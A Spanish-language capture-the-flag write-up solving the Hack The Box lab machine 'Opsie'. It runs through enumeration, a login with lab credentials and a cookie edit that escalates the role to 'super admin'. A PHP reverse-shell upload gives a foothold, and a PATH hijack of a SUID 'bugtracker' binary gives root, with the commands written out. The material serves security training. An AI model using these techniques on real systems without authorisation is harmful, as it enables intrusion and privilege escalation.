En este writeup vamos a ver cómo resolver la máquina Opsie de la plataforma de Hack the Box.
Conexión
Conectar nuestra máquina de ataque a la VPN:
$ openvpn gorkamu-htb.ovpn
Enumeración
Empezamos buscando puertos abiertos con Nmap:
$ sudo nmap -sS -sC -sV -Pn -vvv --min-rate 5000 -oN nmap_services.txt -p22,80 10.10.10.28
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Welcome
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Si hacemos un whatweb vemos lo siguiente:
$ whatweb 10.10.10.28http://10.10.10.28 [200 OK] Apache[2.4.29], Country[RESERVED][ZZ], Email[admin@megacorp.com], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.10.28], Script, Title[Welcome]
Busquemos directorios y ficheros ocultos con wfuzz
$ wfuzz -c --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.28/FUZZ
Vemos los siguientes directorios:
Sin embargo si le pasamos dirbuster encontraremos otras cosas más interesantes:
Obtener la User Flag
Si vamos a la página de login podremos loguearnos con las siguientes credenciales:
- Usuario: admin
- Password: MEGACORP_4dm1n!!
Una vez dentro del sistema vemos con burpsuite que se establece una cookie con el id del usuario y el rol:
Así que vamos a intentar cambiarla por lo siguiente:
- user=86575
- role=super admin
Y podremos entrar a la parte de uploads. Ahí subiremos una reverse shell de /usr/share/webshells/php/php-reverse-shell.php
Una vez subamos la reverse shell y accedamos a ella a través del navegador obtendremos una conexión en nuestro netcat.
Para mejorar y tratar la TTY hacemos lo siguiente:
SHELL=/bin/bash script -q /dev/null Ctrl-Z stty raw -echo fg reset xterm
Una vez dentro del servidor si vamos a /home/robert podremos leer el fichero user.txt con la user flag.
Obtener la Root Flag
Lo primero que tenemos que hacer es cambiarnos de usuario desde www-admin a robert.
Para ello podemos mirar el fichero de configuración que se encuentra en /var/www/html/cdn-cgi/login/db.php
Ahí nos encontraremos con las credenciales del usuario robert (M3g4C0rpUs3r!)
Al logearnos con él y ejecutar el comando id vemos que pertenece al grupo “bugtracker”.
Podemos buscar aquellos fichero que pertenecen a este grupo con el siguiente comando:
$ find / -type f -group bugtracker 2>/dev/null/usr/bin/bugtracker
Si le hacemos un ls -lrta a ese fichero vemos que tiene el byte de suid activado y con el comando strings descubrimos que hace una llamada de la siguiente forma:
cat /root/reports
Por lo cual vamos a crearnos un cat malicioso que será el que levante el bash como root.
Para ello lo primero que hacemos es exportar la variable de entorno PATH e incluir el directorio /tmp en ella:
$ export PATH=/tmp:$PATH
$ echo '/bin/sh' > /tmp/cat
$ chmod +x /tmp/cat
$ /usr/bin/bugtracker
Una vez como root ya podremos leer el fichero de /root/root.txt y así obtener la Root flag.